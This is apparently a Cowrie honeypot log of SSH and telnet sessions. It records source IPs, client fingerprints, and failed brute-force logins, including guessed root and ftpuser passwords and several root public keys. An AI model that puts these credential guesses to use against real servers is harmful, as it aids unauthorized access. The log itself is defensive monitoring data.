{"eventid":"cowrie.session.connect","src_ip":"165.154.36.71","src_port":61466,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d7b26a6e66d","protocol":"ssh","message":"New connection: 165.154.36.71:61466 (159.203.135.109:22) [session: 5d7b26a6e66d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:40:57.600772Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:40:57.606598Z","src_ip":"165.154.36.71","session":"5d7b26a6e66d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:40:57.681488Z","src_ip":"165.154.36.71","session":"5d7b26a6e66d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"digitalocean123","message":"login attempt [root/digitalocean123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:40:58.011348Z","src_ip":"165.154.36.71","session":"5d7b26a6e66d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:40:59.090010Z","src_ip":"165.154.36.71","session":"5d7b26a6e66d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.15.131.165","src_port":55480,"dst_ip":"159.203.135.109","dst_port":22,"session":"d453fb6385fc","protocol":"ssh","message":"New connection: 171.15.131.165:55480 (159.203.135.109:22) [session: d453fb6385fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:41:01.603710Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:41:01.608929Z","src_ip":"171.15.131.165","session":"d453fb6385fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:41:01.868893Z","src_ip":"171.15.131.165","session":"d453fb6385fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":6075,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa08eff0337f","protocol":"ssh","message":"New connection: 193.24.211.100:6075 (159.203.135.109:22) [session: aa08eff0337f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:41:07.138099Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:41:07.142574Z","src_ip":"193.24.211.100","session":"aa08eff0337f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:41:07.251144Z","src_ip":"193.24.211.100","session":"aa08eff0337f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"guest","message":"login attempt [ftpuser/guest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:41:07.674273Z","src_ip":"193.24.211.100","session":"aa08eff0337f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:41:08.785290Z","src_ip":"193.24.211.100","session":"aa08eff0337f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":29700,"dst_ip":"10.17.0.5","dst_port":23,"session":"1deebd1054d1","protocol":"telnet","message":"New connection: 212.55.149.117:29700 (10.17.0.5:23) [session: 1deebd1054d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:41:17.133129Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.57.63","src_port":40030,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ca039d5eae3","protocol":"telnet","message":"New connection: 199.103.57.63:40030 (159.203.135.109:23) [session: 0ca039d5eae3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:41:29.561717Z"}
{"eventid":"cowrie.session.closed","duration":37.69558811187744,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:42:07.257190Z","src_ip":"199.103.57.63","session":"0ca039d5eae3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":61.03694152832031,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:42:18.169866Z","src_ip":"212.55.149.117","session":"1deebd1054d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":53267,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf4017bd44cc","protocol":"telnet","message":"New connection: 212.55.149.117:53267 (10.17.0.5:23) [session: cf4017bd44cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:42:23.601866Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:43:01.617166Z","src_ip":"171.15.131.165","session":"d453fb6385fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":61.10080075263977,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:43:24.702538Z","src_ip":"212.55.149.117","session":"cf4017bd44cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.20.127.155","src_port":34672,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e5f5733b478","protocol":"ssh","message":"New connection: 198.20.127.155:34672 (10.17.0.5:22) [session: 1e5f5733b478]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:43:51.528803Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:43:51.533234Z","src_ip":"198.20.127.155","session":"1e5f5733b478","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:43:51.621081Z","src_ip":"198.20.127.155","session":"1e5f5733b478","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8d:6c:0b:fa:8f:2f:da:ef:7d:2e:7e:d0:b8:8d:6f:4d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCe4eTCde2PE4MqAhLuQX9snvdGvT6XfPxL/0bc7SuRbBhXKfgBD9vbfhN+O40G5oGV2rFc399yYqKtVup83zhOE2SAcays1qyz9qMyHv+fTFDr4wgAmnKXfjiBlV0lDAHlcX2AXPNbq8tk7m+N9DLqW8KwGRBMiduHOuD8vOM/apqm+8l62vmF4II0Z2jUtB4LwTsvB/kZ2yCercJLSaTNgoXH37EbR2NhfTX1J6mZs8th3qXRnRgtRvOHfuz7cAbYm35Y4LN6MvW5TNfoYuxyp/TgXKK9spjtfwou8283J8lwBjK0Cp3lm98ySe1lcmbpUIb0RG9I7DPJkrTW/tDH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8d:6c:0b:fa:8f:2f:da:ef:7d:2e:7e:d0:b8:8d:6f:4d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:43:52.039605Z","src_ip":"198.20.127.155","session":"1e5f5733b478","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8d:6c:0b:fa:8f:2f:da:ef:7d:2e:7e:d0:b8:8d:6f:4d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCe4eTCde2PE4MqAhLuQX9snvdGvT6XfPxL/0bc7SuRbBhXKfgBD9vbfhN+O40G5oGV2rFc399yYqKtVup83zhOE2SAcays1qyz9qMyHv+fTFDr4wgAmnKXfjiBlV0lDAHlcX2AXPNbq8tk7m+N9DLqW8KwGRBMiduHOuD8vOM/apqm+8l62vmF4II0Z2jUtB4LwTsvB/kZ2yCercJLSaTNgoXH37EbR2NhfTX1J6mZs8th3qXRnRgtRvOHfuz7cAbYm35Y4LN6MvW5TNfoYuxyp/TgXKK9spjtfwou8283J8lwBjK0Cp3lm98ySe1lcmbpUIb0RG9I7DPJkrTW/tDH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:43:52.043170Z","src_ip":"198.20.127.155","session":"1e5f5733b478","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d7:7f:29:30:52:e8:f5:e7:67:3a:f8:fd:7c:ee:1f:79","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+4NTa4rzCon/obM+ipijcHcZtkBN5WLLbQdyvZjLU3MM16u3WDVlIlvc0aJr9eHk90R8avYvM8wmoTnjGiNKy+L2Vs33D50MjxH6A1Sy8kJ/YVUIWxMVPegtjJ+xWYnzBXuUW/KMXkDEnF2lPuE1z7SBERb+lFxs00VKt33qX3gxIffI7UdW78EK9ljjb7quSdf7QkLTC59rNDb9QqyZcV2bIs7beWCbSHG+C3depTlek0Eja4htyUjfVA84+SiqhQaY+NdPqqpfosz9f7HctpieKFjNEPnCcl9M4BqvihYdbubaIYvTUjNczPv0eMWOh0hyJQVphMqVdonJhoqAv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d7:7f:29:30:52:e8:f5:e7:67:3a:f8:fd:7c:ee:1f:79","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:43:52.131617Z","src_ip":"198.20.127.155","session":"1e5f5733b478","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d7:7f:29:30:52:e8:f5:e7:67:3a:f8:fd:7c:ee:1f:79","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+4NTa4rzCon/obM+ipijcHcZtkBN5WLLbQdyvZjLU3MM16u3WDVlIlvc0aJr9eHk90R8avYvM8wmoTnjGiNKy+L2Vs33D50MjxH6A1Sy8kJ/YVUIWxMVPegtjJ+xWYnzBXuUW/KMXkDEnF2lPuE1z7SBERb+lFxs00VKt33qX3gxIffI7UdW78EK9ljjb7quSdf7QkLTC59rNDb9QqyZcV2bIs7beWCbSHG+C3depTlek0Eja4htyUjfVA84+SiqhQaY+NdPqqpfosz9f7HctpieKFjNEPnCcl9M4BqvihYdbubaIYvTUjNczPv0eMWOh0hyJQVphMqVdonJhoqAv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:43:52.135808Z","src_ip":"198.20.127.155","session":"1e5f5733b478","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"20:51:88:ac:9c:31:1b:9c:72:b1:95:52:32:0e:0c:fb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDCA6nENRczpQlb/4IpFQv9B0mGn3NIpQW69SRG1qLiSdHX7az5hwbHpboBPMGbjNNmDlroSkFZ51dey0FsLRR/qJQat6f6yQtwPK9NPiiQkBstr8g/b0OO2/iWc+zmxNaYwd2xJZwYhgnWRmr+DgfRBb35+QT+s1ak5glT0TNGb3b01rrClpO8vHvN8RmJDSBCIpIhZToIDXcys+rxB6ecV2Zjhc/MAXWA7XL66cJO6el6QXHcYpQbw0fYnBJp8dJkahHY9nvJAn9MK/k3Ma1epiQHuZKgac05SWkDvn7nvLecsMWis7ESqJqr3lPvAajZFjW/4irR0YQ6P0bdOdGywkbims0kbGWIBVY03Gt86MGJB3QcCTITmpAvg8tblt42EK9vAQlvJrtESwrqcohj17HE8FGZugXVvMbO1I5rx4rL/Zu8eV6hY2yzjIUoE7eXqbP+o7ZpCUoAURvhSJ/OUGmUbRpNLWJN1NqEWo20n2bHimO90vbUd/PTVpjZGK8=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 20:51:88:ac:9c:31:1b:9c:72:b1:95:52:32:0e:0c:fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:43:52.227589Z","src_ip":"198.20.127.155","session":"1e5f5733b478","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"20:51:88:ac:9c:31:1b:9c:72:b1:95:52:32:0e:0c:fb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDCA6nENRczpQlb/4IpFQv9B0mGn3NIpQW69SRG1qLiSdHX7az5hwbHpboBPMGbjNNmDlroSkFZ51dey0FsLRR/qJQat6f6yQtwPK9NPiiQkBstr8g/b0OO2/iWc+zmxNaYwd2xJZwYhgnWRmr+DgfRBb35+QT+s1ak5glT0TNGb3b01rrClpO8vHvN8RmJDSBCIpIhZToIDXcys+rxB6ecV2Zjhc/MAXWA7XL66cJO6el6QXHcYpQbw0fYnBJp8dJkahHY9nvJAn9MK/k3Ma1epiQHuZKgac05SWkDvn7nvLecsMWis7ESqJqr3lPvAajZFjW/4irR0YQ6P0bdOdGywkbims0kbGWIBVY03Gt86MGJB3QcCTITmpAvg8tblt42EK9vAQlvJrtESwrqcohj17HE8FGZugXVvMbO1I5rx4rL/Zu8eV6hY2yzjIUoE7eXqbP+o7ZpCUoAURvhSJ/OUGmUbRpNLWJN1NqEWo20n2bHimO90vbUd/PTVpjZGK8=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:43:52.232284Z","src_ip":"198.20.127.155","session":"1e5f5733b478","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bd:fb:11:d2:e6:36:0d:0d:0e:09:da:0f:22:7f:11:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDhRSQlraQYSpB0BCskQm+dbhVzTbPG4I56VumLsmUqxHCEkKgOIYIGLjBeHPQQ90U3uWMJjhABY/qqnHqC4inQoZ7/SlgK1Ql3PKa6eZgmtoGy1etya81/tIXwKBA5xYD4n8+5J99oAds9V05c7IeJTJtf4JP+j3PdHtg6nnhO4n/jg/IarycPqRBBrULXlkkSiZG+xz4olHXGPKsjSLFKkl1n7rJUz3z1zOwpCdIlQG46dzg+4RLmpvVy6NESD47CRO0qgkm8FuBwAg6ZvNSLwRCIr+5N0I2aBweNgfBSwTEYLgSquS4wskzjNJ+Sv7bxAx5Yjmhvcre1bI9rUGf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bd:fb:11:d2:e6:36:0d:0d:0e:09:da:0f:22:7f:11:1c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:43:52.321668Z","src_ip":"198.20.127.155","session":"1e5f5733b478","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bd:fb:11:d2:e6:36:0d:0d:0e:09:da:0f:22:7f:11:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDhRSQlraQYSpB0BCskQm+dbhVzTbPG4I56VumLsmUqxHCEkKgOIYIGLjBeHPQQ90U3uWMJjhABY/qqnHqC4inQoZ7/SlgK1Ql3PKa6eZgmtoGy1etya81/tIXwKBA5xYD4n8+5J99oAds9V05c7IeJTJtf4JP+j3PdHtg6nnhO4n/jg/IarycPqRBBrULXlkkSiZG+xz4olHXGPKsjSLFKkl1n7rJUz3z1zOwpCdIlQG46dzg+4RLmpvVy6NESD47CRO0qgkm8FuBwAg6ZvNSLwRCIr+5N0I2aBweNgfBSwTEYLgSquS4wskzjNJ+Sv7bxAx5Yjmhvcre1bI9rUGf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:43:52.325357Z","src_ip":"198.20.127.155","session":"1e5f5733b478","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"95:c4:65:0f:f5:dc:00:dd:b9:7e:a2:85:99:e1:63:62","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAKrnf7Wp23ndHc5M6i+moDIvXaEYwKy/xN5QjCenYYGuGOOPmxSr0FrdIE7QqfbqPqWjJw7OHJRM2R8MPbp2Tr53p5j6Lf+b6xYoM9ecO+ZKQs1oY/WtYvotNG7YheZRhW6Sre8hKU7f0yJlGrJ0+oOX8KTm60JRZKuP4znsOGwfAAAAFQDhb6O2jqdzZTuVRatXbQF2Jpmx5QAAAIB2ujbznksSsIxsR9jEht8JR4edRHALSUsiXKDTbxrAcYnjVUZxupKVOgdL04Au7Ge99txZ844qCO488VULC70k7S9MF0Tjo4ahwZU5h3rooRwClfbfmxSbH9P4FdEhW8JHiQadhhKTfYe0UcWX+6faGFF1tm+VAP56R+cKVV4F4AAAAIEAkUsQLoqVBnRCKFGaqtmAQ9rhMjyFLWUIcjKtlQVZ98mQY37tzRUKcu2fr21t5nrS1PvH+zfPFRtSQLb5Q0RaQhhqYuxxQv7opvZ5RDF517tA0Q3Wi/YQd+wfPlLiu54kqk6qmLtqO/++NDkbaQofyO00FuMnEhuz9jppQkzR+XA=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 95:c4:65:0f:f5:dc:00:dd:b9:7e:a2:85:99:e1:63:62","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:43:52.415047Z","src_ip":"198.20.127.155","session":"1e5f5733b478","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"95:c4:65:0f:f5:dc:00:dd:b9:7e:a2:85:99:e1:63:62","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAKrnf7Wp23ndHc5M6i+moDIvXaEYwKy/xN5QjCenYYGuGOOPmxSr0FrdIE7QqfbqPqWjJw7OHJRM2R8MPbp2Tr53p5j6Lf+b6xYoM9ecO+ZKQs1oY/WtYvotNG7YheZRhW6Sre8hKU7f0yJlGrJ0+oOX8KTm60JRZKuP4znsOGwfAAAAFQDhb6O2jqdzZTuVRatXbQF2Jpmx5QAAAIB2ujbznksSsIxsR9jEht8JR4edRHALSUsiXKDTbxrAcYnjVUZxupKVOgdL04Au7Ge99txZ844qCO488VULC70k7S9MF0Tjo4ahwZU5h3rooRwClfbfmxSbH9P4FdEhW8JHiQadhhKTfYe0UcWX+6faGFF1tm+VAP56R+cKVV4F4AAAAIEAkUsQLoqVBnRCKFGaqtmAQ9rhMjyFLWUIcjKtlQVZ98mQY37tzRUKcu2fr21t5nrS1PvH+zfPFRtSQLb5Q0RaQhhqYuxxQv7opvZ5RDF517tA0Q3Wi/YQd+wfPlLiu54kqk6qmLtqO/++NDkbaQofyO00FuMnEhuz9jppQkzR+XA=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:43:52.419843Z","src_ip":"198.20.127.155","session":"1e5f5733b478","protocol":"ssh"}
